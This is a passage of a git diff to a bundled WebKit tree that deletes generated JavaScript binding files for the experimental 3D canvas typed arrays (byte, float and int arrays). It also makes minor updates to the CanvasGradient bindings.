-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#ifndef JSCanvasArrayBuffer_h
-#define JSCanvasArrayBuffer_h
-
-#if ENABLE(3D_CANVAS)
-
-#include "DOMObjectWithSVGContext.h"
-#include "JSDOMBinding.h"
-#include <runtime/JSGlobalObject.h>
-#include <runtime/ObjectPrototype.h>
-
-namespace WebCore {
-
-class CanvasArrayBuffer;
-
-class JSCanvasArrayBuffer : public DOMObjectWithGlobalPointer {
-    typedef DOMObjectWithGlobalPointer Base;
-public:
-    JSCanvasArrayBuffer(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CanvasArrayBuffer>);
-    virtual ~JSCanvasArrayBuffer();
-    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-
-    CanvasArrayBuffer* impl() const { return m_impl.get(); }
-
-private:
-    RefPtr<CanvasArrayBuffer> m_impl;
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-};
-
-JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CanvasArrayBuffer*);
-CanvasArrayBuffer* toCanvasArrayBuffer(JSC::JSValue);
-
-class JSCanvasArrayBufferPrototype : public JSC::JSObject {
-    typedef JSC::JSObject Base;
-public:
-    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-    JSCanvasArrayBufferPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
-protected:
-    static const unsigned StructureFlags = Base::StructureFlags;
-};
-
-// Attributes
-
-JSC::JSValue jsCanvasArrayBufferByteLength(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
-
-#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasByteArray.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasByteArray.cpp
deleted file mode 100644
index ec31899..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasByteArray.cpp
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasByteArray.h"
-
-#include "CanvasByteArray.h"
-#include <runtime/PropertyNameArray.h>
-#include <wtf/GetPtr.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSCanvasByteArray);
-
-/* Hash table for prototype */
-
-static const HashTableValue JSCanvasByteArrayPrototypeTableValues[1] =
-{
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasByteArrayPrototypeTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 0, JSCanvasByteArrayPrototypeTableValues, 0 };
-#else
-    { 1, 0, JSCanvasByteArrayPrototypeTableValues, 0 };
-#endif
-
-const ClassInfo JSCanvasByteArrayPrototype::s_info = { "CanvasByteArrayPrototype", 0, &JSCanvasByteArrayPrototypeTable, 0 };
-
-JSObject* JSCanvasByteArrayPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return getDOMPrototype<JSCanvasByteArray>(exec, globalObject);
-}
-
-const ClassInfo JSCanvasByteArray::s_info = { "CanvasByteArray", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasByteArray::JSCanvasByteArray(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CanvasByteArray> impl)
-    : JSCanvasArray(structure, globalObject, impl)
-{
-}
-
-JSObject* JSCanvasByteArray::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return new (exec) JSCanvasByteArrayPrototype(JSCanvasByteArrayPrototype::createStructure(JSCanvasArrayPrototype::self(exec, globalObject)));
-}
-
-bool JSCanvasByteArray::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasByteArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, index));
-        return true;
-    }
-    return Base::getOwnPropertySlot(exec, propertyName, slot);
-}
-
-bool JSCanvasByteArray::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasByteArray*>(impl())->length()) {
-        descriptor.setDescriptor(getByIndex(exec, index), DontDelete);
-        return true;
-    }
-    return Base::getOwnPropertyDescriptor(exec, propertyName, descriptor);
-}
-
-bool JSCanvasByteArray::getOwnPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)
-{
-    if (propertyName < static_cast<CanvasByteArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, propertyName));
-        return true;
-    }
-    return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
-}
-
-void JSCanvasByteArray::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok) {
-        indexSetter(exec, index, value);
-        return;
-    }
-    Base::put(exec, propertyName, value, slot);
-}
-
-void JSCanvasByteArray::put(ExecState* exec, unsigned propertyName, JSValue value)
-{
-    indexSetter(exec, propertyName, value);
-    return;
-}
-
-void JSCanvasByteArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
-{
-    for (unsigned i = 0; i < static_cast<CanvasByteArray*>(impl())->length(); ++i)
-        propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
-}
-
-
-JSValue JSCanvasByteArray::getByIndex(ExecState* exec, unsigned index)
-{
-    return jsNumber(exec, static_cast<CanvasByteArray*>(impl())->item(index));
-}
-CanvasByteArray* toCanvasByteArray(JSC::JSValue value)
-{
-    return value.inherits(&JSCanvasByteArray::s_info) ? static_cast<JSCanvasByteArray*>(asObject(value))->impl() : 0;
-}
-
-}
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasByteArray.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasByteArray.h
deleted file mode 100644
index c76c679..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasByteArray.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#ifndef JSCanvasByteArray_h
-#define JSCanvasByteArray_h
-
-#if ENABLE(3D_CANVAS)
-
-#include "CanvasByteArray.h"
-#include "JSCanvasArray.h"
-
-namespace WebCore {
-
-class CanvasByteArray;
-
-class JSCanvasByteArray : public JSCanvasArray {
-    typedef JSCanvasArray Base;
-public:
-    JSCanvasByteArray(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CanvasByteArray>);
-    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, unsigned propertyName, JSC::PropertySlot&);
-    virtual void put(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSValue, JSC::PutPropertySlot&);
-    virtual void put(JSC::ExecState*, unsigned propertyName, JSC::JSValue);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-    CanvasByteArray* impl() const
-    {
-        return static_cast<CanvasByteArray*>(Base::impl());
-    }
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    JSC::JSValue getByIndex(JSC::ExecState*, unsigned index);
-    void indexSetter(JSC::ExecState*, unsigned index, JSC::JSValue);
-};
-
-JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CanvasByteArray*);
-CanvasByteArray* toCanvasByteArray(JSC::JSValue);
-
-class JSCanvasByteArrayPrototype : public JSC::JSObject {
-    typedef JSC::JSObject Base;
-public:
-    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-    JSCanvasByteArrayPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
-protected:
-    static const unsigned StructureFlags = Base::StructureFlags;
-};
-
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
-
-#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasFloatArray.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasFloatArray.cpp
deleted file mode 100644
index 7c98ea8..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasFloatArray.cpp
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasFloatArray.h"
-
-#include "CanvasFloatArray.h"
-#include <runtime/PropertyNameArray.h>
-#include <wtf/GetPtr.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSCanvasFloatArray);
-
-/* Hash table for prototype */
-
-static const HashTableValue JSCanvasFloatArrayPrototypeTableValues[1] =
-{
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasFloatArrayPrototypeTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 0, JSCanvasFloatArrayPrototypeTableValues, 0 };
-#else
-    { 1, 0, JSCanvasFloatArrayPrototypeTableValues, 0 };
-#endif
-
-const ClassInfo JSCanvasFloatArrayPrototype::s_info = { "CanvasFloatArrayPrototype", 0, &JSCanvasFloatArrayPrototypeTable, 0 };
-
-JSObject* JSCanvasFloatArrayPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return getDOMPrototype<JSCanvasFloatArray>(exec, globalObject);
-}
-
-const ClassInfo JSCanvasFloatArray::s_info = { "CanvasFloatArray", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasFloatArray::JSCanvasFloatArray(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CanvasFloatArray> impl)
-    : JSCanvasArray(structure, globalObject, impl)
-{
-}
-
-JSObject* JSCanvasFloatArray::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return new (exec) JSCanvasFloatArrayPrototype(JSCanvasFloatArrayPrototype::createStructure(JSCanvasArrayPrototype::self(exec, globalObject)));
-}
-
-bool JSCanvasFloatArray::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasFloatArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, index));
-        return true;
-    }
-    return Base::getOwnPropertySlot(exec, propertyName, slot);
-}
-
-bool JSCanvasFloatArray::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasFloatArray*>(impl())->length()) {
-        descriptor.setDescriptor(getByIndex(exec, index), DontDelete);
-        return true;
-    }
-    return Base::getOwnPropertyDescriptor(exec, propertyName, descriptor);
-}
-
-bool JSCanvasFloatArray::getOwnPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)
-{
-    if (propertyName < static_cast<CanvasFloatArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, propertyName));
-        return true;
-    }
-    return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
-}
-
-void JSCanvasFloatArray::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok) {
-        indexSetter(exec, index, value);
-        return;
-    }
-    Base::put(exec, propertyName, value, slot);
-}
-
-void JSCanvasFloatArray::put(ExecState* exec, unsigned propertyName, JSValue value)
-{
-    indexSetter(exec, propertyName, value);
-    return;
-}
-
-void JSCanvasFloatArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
-{
-    for (unsigned i = 0; i < static_cast<CanvasFloatArray*>(impl())->length(); ++i)
-        propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
-}
-
-
-JSValue JSCanvasFloatArray::getByIndex(ExecState* exec, unsigned index)
-{
-    return jsNumber(exec, static_cast<CanvasFloatArray*>(impl())->item(index));
-}
-CanvasFloatArray* toCanvasFloatArray(JSC::JSValue value)
-{
-    return value.inherits(&JSCanvasFloatArray::s_info) ? static_cast<JSCanvasFloatArray*>(asObject(value))->impl() : 0;
-}
-
-}
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasFloatArray.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasFloatArray.h
deleted file mode 100644
index c96508e..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasFloatArray.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#ifndef JSCanvasFloatArray_h
-#define JSCanvasFloatArray_h
-
-#if ENABLE(3D_CANVAS)
-
-#include "CanvasFloatArray.h"
-#include "JSCanvasArray.h"
-
-namespace WebCore {
-
-class CanvasFloatArray;
-
-class JSCanvasFloatArray : public JSCanvasArray {
-    typedef JSCanvasArray Base;
-public:
-    JSCanvasFloatArray(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CanvasFloatArray>);
-    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, unsigned propertyName, JSC::PropertySlot&);
-    virtual void put(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSValue, JSC::PutPropertySlot&);
-    virtual void put(JSC::ExecState*, unsigned propertyName, JSC::JSValue);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-    CanvasFloatArray* impl() const
-    {
-        return static_cast<CanvasFloatArray*>(Base::impl());
-    }
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    JSC::JSValue getByIndex(JSC::ExecState*, unsigned index);
-    void indexSetter(JSC::ExecState*, unsigned index, JSC::JSValue);
-};
-
-JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CanvasFloatArray*);
-CanvasFloatArray* toCanvasFloatArray(JSC::JSValue);
-
-class JSCanvasFloatArrayPrototype : public JSC::JSObject {
-    typedef JSC::JSObject Base;
-public:
-    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-    JSCanvasFloatArrayPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
-protected:
-    static const unsigned StructureFlags = Base::StructureFlags;
-};
-
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
-
-#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasGradient.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasGradient.cpp
index 4d2bfa3..a581685 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasGradient.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCanvasGradient.cpp
@@ -36,7 +36,7 @@ ASSERT_CLASS_FITS_IN_CELL(JSCanvasGradient);
 
 static const HashTableValue JSCanvasGradientPrototypeTableValues[2] =
 {
-    { "addColorStop", DontDelete|Function, (intptr_t)jsCanvasGradientPrototypeFunctionAddColorStop, (intptr_t)2 },
+    { "addColorStop", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCanvasGradientPrototypeFunctionAddColorStop), (intptr_t)2 },
     { 0, 0, 0, 0 }
 };
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasGradient.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasGradient.h
index bd7aa3d..2ee7301 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasGradient.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCanvasGradient.h
@@ -21,7 +21,6 @@
 #ifndef JSCanvasGradient_h
 #define JSCanvasGradient_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -41,7 +40,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     CanvasGradient* impl() const { return m_impl.get(); }
@@ -65,7 +64,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCanvasGradientPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasIntArray.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasIntArray.cpp
deleted file mode 100644
index 33fe75b..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasIntArray.cpp
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasIntArray.h"
-
-#include "CanvasIntArray.h"
-#include <runtime/PropertyNameArray.h>
-#include <wtf/GetPtr.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSCanvasIntArray);
-
-/* Hash table for prototype */
-
-static const HashTableValue JSCanvasIntArrayPrototypeTableValues[1] =
-{
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasIntArrayPrototypeTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 0, JSCanvasIntArrayPrototypeTableValues, 0 };
-#else
-    { 1, 0, JSCanvasIntArrayPrototypeTableValues, 0 };
-#endif
-
-const ClassInfo JSCanvasIntArrayPrototype::s_info = { "CanvasIntArrayPrototype", 0, &JSCanvasIntArrayPrototypeTable, 0 };
-
-JSObject* JSCanvasIntArrayPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return getDOMPrototype<JSCanvasIntArray>(exec, globalObject);
-}
-
-const ClassInfo JSCanvasIntArray::s_info = { "CanvasIntArray", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasIntArray::JSCanvasIntArray(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CanvasIntArray> impl)
-    : JSCanvasArray(structure, globalObject, impl)
-{
-}
-
-JSObject* JSCanvasIntArray::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return new (exec) JSCanvasIntArrayPrototype(JSCanvasIntArrayPrototype::createStructure(JSCanvasArrayPrototype::self(exec, globalObject)));
-}
-
-bool JSCanvasIntArray::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasIntArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, index));
-        return true;
-    }
-    return Base::getOwnPropertySlot(exec, propertyName, slot);
-}
-
-bool JSCanvasIntArray::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasIntArray*>(impl())->length()) {
-        descriptor.setDescriptor(getByIndex(exec, index), DontDelete);
-        return true;
-    }
-    return Base::getOwnPropertyDescriptor(exec, propertyName, descriptor);
-}
-
-bool JSCanvasIntArray::getOwnPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)
-{
-    if (propertyName < static_cast<CanvasIntArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, propertyName));
-        return true;
-    }
-    return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
-}
-
-void JSCanvasIntArray::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok) {
-        indexSetter(exec, index, value);
-        return;
-    }
-    Base::put(exec, propertyName, value, slot);
-}
-
-void JSCanvasIntArray::put(ExecState* exec, unsigned propertyName, JSValue value)
-{
-    indexSetter(exec, propertyName, value);
-    return;
-}
-
-void JSCanvasIntArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
-{
-    for (unsigned i = 0; i < static_cast<CanvasIntArray*>(impl())->length(); ++i)
-        propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
-}
-
-
-JSValue JSCanvasIntArray::getByIndex(ExecState* exec, unsigned index)
-{
-    return jsNumber(exec, static_cast<CanvasIntArray*>(impl())->item(index));
-}
-CanvasIntArray* toCanvasIntArray(JSC::JSValue value)
-{
-    return value.inherits(&JSCanvasIntArray::s_info) ? static_cast<JSCanvasIntArray*>(asObject(value))->impl() : 0;
-}
-
-}
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasIntArray.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasIntArray.h
deleted file mode 100644
index f4deadf..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasIntArray.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#ifndef JSCanvasIntArray_h
-#define JSCanvasIntArray_h
-
-#if ENABLE(3D_CANVAS)
-
-#include "CanvasIntArray.h"
-#include "JSCanvasArray.h"
-
-namespace WebCore {
-
-class CanvasIntArray;
-
-class JSCanvasIntArray : public JSCanvasArray {
-    typedef JSCanvasArray Base;
-public:
-    JSCanvasIntArray(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CanvasIntArray>);
-    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, unsigned propertyName, JSC::PropertySlot&);
-    virtual void put(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSValue, JSC::PutPropertySlot&);
-    virtual void put(JSC::ExecState*, unsigned propertyName, JSC::JSValue);
